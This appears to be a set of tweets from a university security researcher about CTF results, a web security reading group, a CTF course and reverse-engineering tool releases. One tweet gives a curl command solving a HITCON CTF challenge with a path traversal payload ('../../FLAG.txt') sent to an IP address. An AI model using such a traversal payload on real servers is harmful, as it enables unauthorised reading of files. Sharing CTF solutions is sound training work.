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First CTF with the tuvienna team and straight into 2nd place at #ICTF2019 ! Thanks to We_0wn_Y0u for the warm welcome, it was plenty of fun to hack together and learn some TI-83+ assembly 🧮

Kick-off of the web security reading group, a joint research initiative of the Security and Privacy research unit ⁦tuvienna⁩ and ⁦SBA Research - Science for better security ⁦Edgar Weippl⁩ ⁦First talk by ⁦Marco Squarcina⁩

Tweet-contained solution in collab with Georg Merzdovnik to #hitconctf Buggy .Net challenge by Orange Tsai 🍊 curl -X GET -d 't=<s&filename=../../FLAG.txt' 52.197.162.211 Technique inspired from nccgroup.trust/uk/about-us/ne… but no encoding trickeries needed here 🚩 We_0wn_Y0u

Here we go, bootstrapping our new Capture the Flag #CTF SE lecture at tuvienna in collaboration with SBA Research - Science for better security 🚩 Me Georg Merzdovnik @cluosh Mauro Tempesta training 40 security padawans, it's gonna be fun 👾

9th place at #RuCTFe2019 with We_0wn_Y0u from tuvienna & SBA Research - Science for better security, we involved so many students this year and they loved it! This is my 10th RuCTFe, thank you Hackerdom for all these years ♥️ Gg to saarsec Bushwhackers and Corrupted Lights for ruling the scoreboard!

Congratz to pdanzinger who just dropped two KeepassRPC 0-days to solve a challenge for our Internet Security course. That was quite the WTF moment. Really nice work there. :) danzinger.wien/exploiting-kee…

Cutter 1.1 has been released! Merry christmas! github.com/radareorg/cutt…

Our new post about some nifty Ethereum.org bytecode debugging tricks with radare is out. Happy holidays everyone! blog.positive.com/debugging-evm-…

#KaitaiStruct binary parsing/reveng framework v0.8 is out: kaitai.io/news/2018/02/0… — Web IDE is available to tryout: ide.kaitai.io

#vim